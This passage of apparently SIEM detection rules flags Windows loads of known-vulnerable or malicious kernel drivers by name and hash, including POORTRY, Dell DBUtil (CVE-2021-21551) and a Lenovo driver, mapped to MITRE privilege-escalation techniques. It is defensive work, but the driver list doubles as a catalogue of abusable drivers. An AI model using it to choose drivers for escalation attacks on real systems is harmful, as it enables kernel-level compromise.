*SHA256\\=1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52* OR *SHA256\\=7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129* OR *SHA256\\=32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993* OR *SHA256\\=082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d* OR *SHA256\\=65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd* OR *SHA256\\=f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35* OR *SHA256\\=9f1229cd8dd9092c27a01f5d56e3c0d59c2bb9f0139abf042e56f343637fda33* OR *SHA256\\=b03f26009de2e8eabfcf6152f49b02a55c5e5d0f73e01d48f5a745f93ce93a29* OR *SHA256\\=3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838* OR *SHA256\\=3c5bf92c26398695f9ced7ce647a7e9f6ddcc89eea66b45aa3607196a187431b* OR *SHA256\\=478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82* OR *SHA256\\=4ed2d2c1b00e87b926fb58b4ea43d2db35e5912975f4400aa7bd9f8c239d08b7* OR *SHA256\\=b205835b818d8a50903cf76936fcf8160060762725bd74a523320cfbd091c038* OR *SHA256\\=ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89* OR *SHA256\\=73327429c505d8c5fd690a8ec019ed4fd5a726b607cabe71509111c7bfe9fc7e* OR *SHA256\\=87e38e7aeaaaa96efe1a74f59fca8371de93544b7af22862eb0e574cec49c7c3* OR *SHA256\\=2270a8144dabaf159c2888519b11b61e5e13acdaa997820c09798137bded3dd6* OR *SHA256\\=43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89* OR *SHA256\\=e1980c6592e6d2d92c1a65acad8f1071b6a404097bb6fcce494f3c8ac31385cf* OR *SHA256\\=1dadd707c55413a16320dc70d2ca7784b94c6658331a753b3424ae696c5d93ea* OR *SHA256\\=d84e3e250a86227c64a96f6d5ac2b447674ba93d399160850acb2339da43eae5* OR *SHA256\\=5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a* OR *SHA256\\=0f726d8ce21c0c9e01ebe6b55913c519ad6086bcaec1a89f8308f3effacd435f* OR *SHA256\\=95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3* OR *SHA256\\=0e14a4401011a9f4e444028ac5b1595da34bbbf9af04a00670f15ff839734003* OR *SHA256\\=26c86227d3f387897c1efd77dc711eef748eb90be84149cb306e3d4c45cc71c7* OR *SHA256\\=42d926cfb3794f9b1e3cb397498696cb687f505e15feb9df11b419c49c9af498* OR *SHA256\\=1684e24dae20ab83ab5462aa1ff6473110ec53f52a32cfb8c1fe95a2642c6d22* OR *SHA256\\=9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4* OR *SHA256\\=440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c* OR *SHA256\\=e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53* OR *SHA256\\=3a364a7a3f6c0f2f925a060e84fb18b16c118125165b5ea6c94363221dc1b6de* OR *SHA256\\=fda506e2aa85dc41a4cbc23d3ecc71ab34e06f1def736e58862dc449acbc2330* OR *SHA256\\=3ac5e01689a3d745e60925bc7faca8d4306ae693e803b5e19c94906dc30add46* OR *SHA256\\=175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347* OR *SHA256\\=8596ea3952d84eeef8f5dc5b0b83014feb101ec295b2d80910f21508a95aa026* OR *SHA256\\=52a90fd1546c068b92add52c29fbb8a87d472a57e609146bbcb34862f9dcec15* OR *SHA256\\=543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91* OR *SHA256\\=e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf* OR *SHA256\\=1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c* OR *SHA256\\=cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64* OR *SHA256\\=3ed15a390d8dfbd8a8fb99e8367e19bfd1cced0e629dfe43ccdb46c863394b59* OR *SHA256\\=8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6* OR *SHA256\\=eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b* OR *SHA256\\=37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9* OR *SHA256\\=32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351* OR *SHA256\\=c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5* OR *SHA256\\=ff803017d1acafde6149fe7d463aee23b1c4f6f3b97c698c05f3ca6f07e4df6c* OR *SHA256\\=000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b* OR *SHA256\\=0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05* OR *SHA256\\=a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433* OR *SHA256\\=da6ca1fb539f825ca0f012ed6976baf57ef9c70143b7a1e88b4650bf7a925e24* OR *SHA256\\=9c2977d63faa340b03e1bbfb8a6db19c0adfa60ff6579b888ece10022c94c3ec* OR *SHA256\\=771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd* OR *SHA256\\=927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a* OR *SHA256\\=42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0* OR *SHA256\\=e6db8a1c9d82d18b948c7135439fdeaa9bc02ea97509e3534de65e5481489220* OR *SHA256\\=1062211314088012edb9fe65780e35e7b3144ac45021269fc993ef2931c8584b* OR *SHA256\\=029dbf6d8dc920a32b3c7a2057513d3741b20b7f6e7aa23b113859a8049214df* OR *SHA256\\=1d053020079124ac526d84affb17bf4a1563ecd872c83b4b6299c9aa6a732557* OR *SHA256\\=c059f1b2b73ecab48d62f469d48dbde74a80c4ada07f0bd3b417ec4e044fb522* OR *SHA256\\=a66d2fb7ef7350ea74d4290c57fb62bc59c6ea93f759d4ca93c3febca7aeb512*) OR SHA1:(\"2261198385d62d2117f50f631652eded0ecc71db\" OR \"8db869c0674221a2d3280143cbb0807fac08e0cc\" OR \"27d3ebea
{"description": "Detects the load of known vulnerable drivers via their names only.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["False positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6dafe95c-29cf-cead-f486-3fe7c6558702", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Vulnerable Driver Load By Name", "query": "dll.path:(*\\\\ADV64DRV.sys OR *\\\\Agent64.sys OR *\\\\ALSysIO64.sys OR *\\\\amifldrv64.sys OR *\\\\AsIO.sys OR *\\\\AsIO64.sys OR *\\\\asmmap64.sys OR *\\\\AsrAutoChkUpdDrv.sys OR *\\\\AsrDrv10.sys OR *\\\\AsrDrv101.sys OR *\\\\AsrIbDrv.sys OR *\\\\AsrOmgDrv.sys OR *\\\\AsrRapidStartDrv.sys OR *\\\\AsrSmartConnectDrv.sys OR *\\\\AsUpIO.sys OR *\\\\atillk64.sys OR *\\\\BS_Def64.sys OR *\\\\CITMDRV_AMD64.sys OR *\\\\CITMDRV_IA64.sys OR *\\\\cpuz_x64.sys OR *\\\\cpuz141.sys OR *\\\\dbutil_2_3.sys OR *\\\\Dh_Kernel_10.sys OR *\\\\Dh_Kernel.sys OR *\\\\gdrv.sys OR *\\\\GLCKIO2.sys OR *\\\\HOSTNT.sys OR *\\\\HwRwDrv.sys OR *\\\\inpoutx64.sys OR *\\\\iomem64.sys OR *\\\\Mhyprot2.sys OR *\\\\MsIo64.sys OR *\\\\msrhook.sys OR *\\\\NTIOLib.sys OR *\\\\OpenLibSys.sys OR *\\\\Se64a.sys OR *\\\\smep_capcom.sys OR *\\\\smep_namco.sys OR *\\\\SysInfo.sys OR *\\\\VProEventMonitor.sys OR *\\\\WCPU.sys OR *\\\\WINIODrv.sys OR *\\\\WinRing0.sys OR *\\\\physmem.sys OR *\\\\procexp152.sys OR *\\\\viraglt64.sys OR *\\\\vboxdrv.sys OR *\\\\rwdrv.sys OR *\\\\speedfan.sys OR *\\\\kprocesshacker.sys OR *\\\\sandra.sys OR *\\\\elbycdio.sys OR *\\\\goad.sys OR *\\\\aswsnx.sys OR *\\\\sandbox.sys OR *\\\\nicm.sys OR *\\\\nscm.sys OR *\\\\ncpl.sys OR *\\\\elrawdsk.sys OR *\\\\DBUtilDrv2.sys OR *\\\\BS_RCIO64.sys OR *\\\\mhyprot.sys OR *\\\\EneTechIo64.sys OR *\\\\amp.sys OR *\\\\EneIo64.sys OR *\\\\ATSZIO.sys OR *\\\\NalDrv.sys OR *\\\\DirectIo32.sys OR *\\\\DirectIo64.sys OR *\\\\AsUpIO64.sys OR *\\\\AsrDrv102.sys OR *\\\\AsrDrv103.sys OR *\\\\BSMEMx64.sys OR *\\\\BSMIXP64.sys OR *\\\\BSMIx64.sys OR *\\\\BS_Flash64.sys OR *\\\\BS_HWMIO64_W10.sys OR *\\\\BS_HWMIo64.sys OR *\\\\BS_I2c64.sys OR *\\\\GVCIDrv64.sys OR *\\\\HwOs2Ec10x64.sys OR *\\\\HwOs2Ec7x64.sys OR *\\\\NBIOLib_X64.sys OR *\\\\NCHGBIOS2x64.SYS OR *\\\\NTIOLib_X64.sys OR *\\\\PhlashNT.sys OR *\\\\Phymemx64.sys OR *\\\\UCOREW64.SYS OR *\\\\WinFlash64.sys OR *\\\\WinRing0x64.sys OR *\\\\dbk64.sys OR *\\\\mtcBSv64.sys OR *\\\\nvflash.sys OR *\\\\nvflsh64.sys OR *\\\\phymem64.sys OR *\\\\rtkio64.sys OR *\\\\rtkiow10x64.sys OR *\\\\rtkiow8x64.sys OR *\\\\segwindrvx64.sys OR *\\\\superbmc.sys OR *\\\\semav6msr.sys OR *\\\\piddrv64.sys OR *\\\\BS_I2cIo.sys OR *\\\\rtkio.sys OR *\\\\AMDRyzenMasterDriver.sys OR *\\\\LHA.sys OR *\\\\kEvP64.sys OR *\\\\BSMI.sys OR *\\\\TmComm.sys OR *\\\\cpuz.sys OR *\\\\iQVW64.SYS OR *\\\\iQVW32.SYS OR *\\\\vmdrv.sys OR *\\\\HpPortIox64.sys OR *\\\\AMDPowerProfiler.sys OR *\\\\CorsairLLAccess64.sys OR *\\\\RTCore64.sys OR *\\\\libnicm.sys OR *\\\\procexp.Sys OR *\\\\viragt.sys OR *\\\\viragt64.sys OR *\\\\AsrDrv106.sys OR *\\\\zamguard64.sys OR *\\\\zam64.sys OR *\\\\fidpcidrv64.sys OR *\\\\MsIo32.sys OR *\\\\winio64.sys OR *\\\\capcom.sys OR *\\\\IOMap64.sys OR *\\\\ATSZIO64.sys OR *\\\\aswVmm.sys OR *\\\\FairplayKD.sys OR *\\\\pgldqpoc.sys OR *\\\\iqvw64e.sys OR *\\\\Monitor_win10_x64.sys OR *\\\\srvnetbus.sys OR *\\\\Mslo64.sys OR *\\\\pcdsrvc_x64.pkms OR *\\\\krpocesshacker.sys OR *\\\\HWiNFO64A.sys OR *\\\\rzpnk.sys OR *\\\\magdrvamd64.sys OR *\\\\driver7\\-x64.sys OR *\\\\driver7\\-x86\\-withoutdbg.sys OR *\\\\driver7\\-x86.sys OR *\\\\gmer.sys OR *\\\\PCADRVX64.sys OR *\\\\clfs.sys OR *\\\\ActiveHealth.sys OR *\\\\CAM_V3.sys OR *\\\\GameFire.sys OR *\\\\OpenHardwareMonitor.sys OR *\\\\OpenHardwareMonitorLib.sys OR *\\\\OpenHardwareMonitorReport.sys OR *\\\\SmartDashboard.sys OR *\\\\SystemGauge.sys OR *\\\\SystemGaugeX7.sys OR *\\\\VideoNovaServerControllerService.sys OR *\\\\ellp_service.sys OR *\\\\hardwareproviders.sys OR *\\\\ohm.sys OR *\\\\sensorsview32_64.sys OR *\\\\touchpointanalyticsclient.sys OR *\\\\CQg5Jf.sys OR *\\\\HCdRDh.sys OR *\\\\NcDgDn.sys OR *\\\\vLTZ19.sys)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1068", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}, {"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of known vulnerable drivers via their names only.", "enabled": false, "false_positives": ["Some false positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6dafe95c-29cf-cead-f486-3fe7c6558702", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Vulnerable Driver Load By Name", "query": "dll.path:(*\\\\ADV64DRV.sys OR *\\\\Agent64.sys OR *\\\\ALSysIO64.sys OR *\\\\amifldrv64.sys OR *\\\\AsIO.sys OR *\\\\AsIO64.sys OR *\\\\asmmap64.sys OR *\\\\AsrAutoChkUpdDrv.sys OR *\\\\AsrDrv10.sys OR *\\\\AsrDrv101.sys OR *\\\\AsrIbDrv.sys OR *\\\\AsrOmgDrv.sys OR *\\\\AsrRapidStartDrv.sys OR *\\\\AsrSmartConnectDrv.sys OR *\\\\AsUpIO.sys OR *\\\\atillk64.sys OR *\\\\BS_Def64.sys OR *\\\\CITMDRV_AMD64.sys OR *\\\\CITMDRV_IA64.sys OR *\\\\cpuz_x64.sys OR *\\\\cpuz141.sys OR *\\\\dbutil_2_3.sys OR *\\\\Dh_Kernel_10.sys OR *\\\\Dh_Kernel.sys OR *\\\\gdrv.sys OR *\\\\GLCKIO2.sys OR *\\\\HOSTNT.sys OR *\\\\HwRwDrv.sys OR *\\\\inpoutx64.sys OR *\\\\iomem64.sys OR *\\\\Mhyprot2.sys OR *\\\\MsIo64.sys OR *\\\\msrhook.sys OR *\\\\NTIOLib.sys OR *\\\\OpenLibSys.sys OR *\\\\Se64a.sys OR *\\\\smep_capcom.sys OR *\\\\smep_namco.sys OR *\\\\SysInfo.sys OR *\\\\VProEventMonitor.sys OR *\\\\WCPU.sys OR *\\\\WINIODrv.sys OR *\\\\WinRing0.sys OR *\\\\physmem.sys OR *\\\\procexp152.sys OR *\\\\viraglt64.sys OR *\\\\vboxdrv.sys OR *\\\\rwdrv.sys OR *\\\\speedfan.sys OR *\\\\kprocesshacker.sys OR *\\\\sandra.sys OR *\\\\elbycdio.sys OR *\\\\goad.sys OR *\\\\aswsnx.sys OR *\\\\sandbox.sys OR *\\\\nicm.sys OR *\\\\nscm.sys OR *\\\\ncpl.sys OR *\\\\elrawdsk.sys OR *\\\\DBUtilDrv2.sys OR *\\\\BS_RCIO64.sys OR *\\\\mhyprot.sys OR *\\\\EneTechIo64.sys OR *\\\\amp.sys OR *\\\\EneIo64.sys OR *\\\\ATSZIO.sys OR *\\\\NalDrv.sys OR *\\\\DirectIo32.sys OR *\\\\DirectIo64.sys OR *\\\\AsUpIO64.sys OR *\\\\AsrDrv102.sys OR *\\\\AsrDrv103.sys OR *\\\\BSMEMx64.sys OR *\\\\BSMIXP64.sys OR *\\\\BSMIx64.sys OR *\\\\BS_Flash64.sys OR *\\\\BS_HWMIO64_W10.sys OR *\\\\BS_HWMIo64.sys OR *\\\\BS_I2c64.sys OR *\\\\GVCIDrv64.sys OR *\\\\HwOs2Ec10x64.sys OR *\\\\HwOs2Ec7x64.sys OR *\\\\NBIOLib_X64.sys OR *\\\\NCHGBIOS2x64.SYS OR *\\\\NTIOLib_X64.sys OR *\\\\PhlashNT.sys OR *\\\\Phymemx64.sys OR *\\\\UCOREW64.SYS OR *\\\\WinFlash64.sys OR *\\\\WinRing0x64.sys OR *\\\\dbk64.sys OR *\\\\mtcBSv64.sys OR *\\\\nvflash.sys OR *\\\\nvflsh64.sys OR *\\\\phymem64.sys OR *\\\\rtkio64.sys OR *\\\\rtkiow10x64.sys OR *\\\\rtkiow8x64.sys OR *\\\\segwindrvx64.sys OR *\\\\superbmc.sys OR *\\\\semav6msr.sys OR *\\\\piddrv64.sys OR *\\\\BS_I2cIo.sys OR *\\\\rtkio.sys OR *\\\\AMDRyzenMasterDriver.sys OR *\\\\LHA.sys OR *\\\\kEvP64.sys OR *\\\\BSMI.sys OR *\\\\TmComm.sys OR *\\\\cpuz.sys OR *\\\\iQVW64.SYS OR *\\\\vmdrv.sys OR *\\\\HpPortIox64.sys OR *\\\\AMDPowerProfiler.sys OR *\\\\CorsairLLAccess64.sys OR *\\\\RTCore64.sys OR *\\\\libnicm.sys OR *\\\\procexp.Sys OR *\\\\viragt.sys OR *\\\\viragt64.sys OR *\\\\AsrDrv106.sys OR *\\\\zamguard64.sys OR *\\\\zam64.sys OR *\\\\fidpcidrv64.sys OR *\\\\MsIo32.sys OR *\\\\winio64.sys OR *\\\\capcom.sys OR *\\\\IOMap64.sys OR *\\\\ATSZIO64.sys OR *\\\\aswVmm.sys OR *\\\\FairplayKD.sys OR *\\\\pgldqpoc.sys OR *\\\\iqvw64e.sys OR *\\\\Monitor_win10_x64.sys OR *\\\\srvnetbus.sys OR *\\\\Mslo64.sys OR *\\\\pcdsrvc_x64.pkms OR *\\\\krpocesshacker.sys OR *\\\\HWiNFO64A.sys OR *\\\\rzpnk.sys OR *\\\\magdrvamd64.sys OR *\\\\driver7\\-x64.sys OR *\\\\driver7\\-x86\\-withoutdbg.sys OR *\\\\driver7\\-x86.sys OR *\\\\gmer.sys OR *\\\\PCADRVX64.sys OR *\\\\clfs.sys OR *\\\\ActiveHealth.sys OR *\\\\CAM_V3.sys OR *\\\\GameFire.sys OR *\\\\OpenHardwareMonitor.sys OR *\\\\OpenHardwareMonitorLib.sys OR *\\\\OpenHardwareMonitorReport.sys OR *\\\\SmartDashboard.sys OR *\\\\SystemGauge.sys OR *\\\\SystemGaugeX7.sys OR *\\\\VideoNovaServerControllerService.sys OR *\\\\ellp_service.sys OR *\\\\hardwareproviders.sys OR *\\\\ohm.sys OR *\\\\sensorsview32_64.sys OR *\\\\touchpointanalyticsclient.sys)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate BIOS driver updates (should be rare)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a8f0528b-a922-a69e-d765-3fbcfdbbc129", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Usage Of Malicious POORTRY Signed Driver", "query": "((dll.path:(*\\\\prokiller64.sys* OR *\\\\gftkyj64.sys* OR *\\\\KApcHelper_x64.sys* OR *\\\\NodeDriver.sys* OR *\\\\LcTkA.sys*)) OR (winlog.event_data.Hashes:(*SHA256\\=0440ef40c46fdd2b5d86e7feef8577a8591de862cfd7928cdbcc8f47b8fa3ffc* OR *SHA256\\=9b1b15a3aacb0e786a608726c3abfc94968915cedcbd239ddf903c4a54bfcf0c* OR *SHA256\\=8e035beb02a411f8a9e92d4cf184ad34f52bbd0a81a50c222cdd4706e4e45104* OR *SHA256\\=d7c81b0f3c14844f6424e8bdd31a128e773cb96cccef6d05cbff473f0ccb9f9c* OR *SHA256\\=05b146a48a69dd62a02759487e769bd30d39f16374bc76c86453b4ae59e7ffa4* OR *SHA256\\=c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497* OR *SHA1\\=31cc8718894d6e6ce8c132f68b8caaba39b5ba7a* OR *SHA1\\=a804ebec7e341b4d98d9e94f6e4860a55ea1638d* OR *SHA1\\=6debce728bcff73d9d1d334df0c6b1c3735e295c* OR *SHA1\\=cc65bf60600b64feece5575f21ab89e03a728332* OR *SHA1\\=3ef30c95e40a854cc4ded94fc503d0c3dc3e620e* OR *SHA1\\=b2f955b3e6107f831ebe67997f8586d4fe9f3e98* OR *MD5\\=10f3679384a03cb487bda9621ceb5f90* OR *MD5\\=04a88f5974caa621cee18f34300fc08a* OR *MD5\\=6fcf56f6ca3210ec397e55f727353c4a* OR *MD5\\=0f16a43f7989034641fd2de3eb268bf1* OR *MD5\\=ee6b1a79cb6641aa44c762ee90786fe0* OR *MD5\\=909f3fc221acbe999483c87d9ead024a*)) OR (sha256:(\"0440ef40c46fdd2b5d86e7feef8577a8591de862cfd7928cdbcc8f47b8fa3ffc\" OR \"9b1b15a3aacb0e786a608726c3abfc94968915cedcbd239ddf903c4a54bfcf0c\" OR \"8e035beb02a411f8a9e92d4cf184ad34f52bbd0a81a50c222cdd4706e4e45104\" OR \"d7c81b0f3c14844f6424e8bdd31a128e773cb96cccef6d05cbff473f0ccb9f9c\" OR \"05b146a48a69dd62a02759487e769bd30d39f16374bc76c86453b4ae59e7ffa4\" OR \"c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497\")) OR (sha1:(\"31cc8718894d6e6ce8c132f68b8caaba39b5ba7a\" OR \"a804ebec7e341b4d98d9e94f6e4860a55ea1638d\" OR \"6debce728bcff73d9d1d334df0c6b1c3735e295c\" OR \"cc65bf60600b64feece5575f21ab89e03a728332\" OR \"3ef30c95e40a854cc4ded94fc503d0c3dc3e620e\" OR \"b2f955b3e6107f831ebe67997f8586d4fe9f3e98\")) OR (md5:(\"10f3679384a03cb487bda9621ceb5f90\" OR \"04a88f5974caa621cee18f34300fc08a\" OR \"6fcf56f6ca3210ec397e55f727353c4a\" OR \"0f16a43f7989034641fd2de3eb268bf1\" OR \"ee6b1a79cb6641aa44c762ee90786fe0\" OR \"909f3fc221acbe999483c87d9ead024a\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}, {"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Legitimate BIOS driver updates (should be rare)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2e157487-1fa5-c98a-f075-725529aa4706", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable Dell BIOS Update Driver Load", "query": "((dll.path:*\\\\DBUtil_2_3.Sys*) OR (winlog.event_data.Hashes:(*SHA256\\=0296E2CE999E67C76352613A718E11516FE1B0EFC3FFDB8918FC999DD76A73A5* OR *SHA256\\=DDBF5ECCA5C8086AFDE1FB4F551E9E6400E94F4428FE7FB5559DA5CFFA654CC1* OR *SHA1\\=C948AE14761095E4D76B55D9DE86412258BE7AFD* OR *SHA1\\=10B30BDEE43B3A2EC4AA63375577ADE650269D25* OR *MD5\\=C996D7971C49252C582171D9380360F2* OR *MD5\\=D2FD132AB7BBC6BBB87A84F026FA0244*)) OR (sha256:(\"0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5\" OR \"ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1\")) OR (sha1:(\"c948ae14761095e4d76b55d9de86412258be7afd\" OR \"10b30bdee43b3a2ec4aa63375577ade650269d25\")) OR (md5:(\"c996d7971c49252c582171d9380360f2\" OR \"d2fd132ab7bbc6bbb87a84f026fa0244\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}, {"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", "enabled": false, "false_positives": ["Legitimate BIOS driver updates (should be rare)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2e157487-1fa5-c98a-f075-725529aa4706", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable Dell BIOS Update Driver Load", "query": "(dll.path:*\\\\DBUtil_2_3.Sys* OR winlog.event_data.Hashes:(*SHA256\\=0296E2CE999E67C76352613A718E11516FE1B0EFC3FFDB8918FC999DD76A73A5* OR *SHA256\\=DDBF5ECCA5C8086AFDE1FB4F551E9E6400E94F4428FE7FB5559DA5CFFA654CC1* OR *SHA1\\=C948AE14761095E4D76B55D9DE86412258BE7AFD* OR *SHA1\\=10B30BDEE43B3A2EC4AA63375577ADE650269D25* OR *MD5\\=C996D7971C49252C582171D9380360F2* OR *MD5\\=D2FD132AB7BBC6BBB87A84F026FA0244*) OR SHA256:(\"0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5\" OR \"ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1\") OR SHA1:(\"c948ae14761095e4d76b55d9de86412258be7afd\" OR \"10b30bdee43b3a2ec4aa63375577ade650269d25\") OR MD5:(\"c996d7971c49252c582171d9380360f2\" OR \"d2fd132ab7bbc6bbb87a84f026fa0244\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Legitimate driver loads (old driver that didn't receive an update)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b80966ac-e518-e3cd-2af5-518aa3b408f3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable Lenovo Driver Load", "query": "((winlog.event_data.Hashes:(*SHA256\\=F05B1EE9E2F6AB704B8919D5071BECBCE6F9D0F9D0BA32A460C41D5272134ABE* OR *SHA1\\=B89A8EEF5AEAE806AF5BA212A8068845CAFDAB6F* OR *MD5\\=B941C8364308990EE4CC6EADF7214E0F*)) OR (sha256:\"f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe\") OR (sha1:\"b89a8eef5aeae806af5ba212a8068845cafdab6f\") OR (md5:\"b941c8364308990ee4cc6eadf7214e0f\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", "enabled": false, "false_positives": ["Legitimate driver loads (old driver that didn't receive an update)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b80966ac-e518-e3cd-2af5-518aa3b408f3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable Lenovo Driver Load", "query": "(winlog.event_data.Hashes:(*SHA256\\=F05B1EE9E2F6AB704B8919D5071BECBCE6F9D0F9D0BA32A460C41D5272134ABE* OR *SHA1\\=B89A8EEF5AEAE806AF5BA212A8068845CAFDAB6F* OR *MD5\\=B941C8364308990EE4CC6EADF7214E0F*) OR SHA256:\"f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe\" OR SHA1:\"b89a8eef5aeae806af5ba212a8068845cafdab6f\" OR MD5:\"b941c8364308990ee4cc6eadf7214e0f\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": 